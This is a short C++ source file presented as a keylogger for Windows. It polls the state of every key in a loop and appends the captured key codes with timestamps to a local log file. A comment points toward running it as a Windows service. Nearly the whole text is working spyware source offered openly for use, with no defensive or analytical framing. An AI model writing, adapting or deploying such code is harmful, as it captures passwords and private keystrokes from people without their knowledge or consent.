keylogger in cpp

main.cpp

#include <iostream>
#include <Windows.h>
#include <fstream>
#include <string>
#include <ctime>
#include <vector>
#include <iterator>


using namespace std;

const string LOG_FILE = "log.txt";
const int LOG_AFTER = 20;


void log(vector<int> collection, time_t time) {
	fstream log;
	log.open(LOG_FILE, fstream::app);
	if (log.is_open()) {
		log << time << ":";
		for (auto const& value : collection) {
			log << value << ",";
		}
		log << "\n";
		
		log.close();
	}
	
	// return 0;
}




int main() 
{ 
	// time_t t = time(0);
	// cout << t << " seconds since the Epoch\n";
	// return 0;

	// https://stackoverflow.com/questions/18480573/install-and-run-windows-service-in-c

	time_t startTime = time(0);
	vector< int > collection;

	while(true){
		Sleep(10);
		char key = ' ';
		for (int key = 8; key <= 255; key++)
		{
			// -32767 it indicates a key or selection of keys  
			// has been pressed and released since you last called 
			// however it is not 100 % guaranteed 
			if (GetAsyncKeyState(key) == -32767) {
				collection.push_back(key);

				time_t endTime = time(0) + LOG_AFTER;
				if (startTime <= endTime) {
					log(collection, startTime);
					collection.clear();
					startTime = endTime;
				}
			}	
		}
	}

	return 0;
}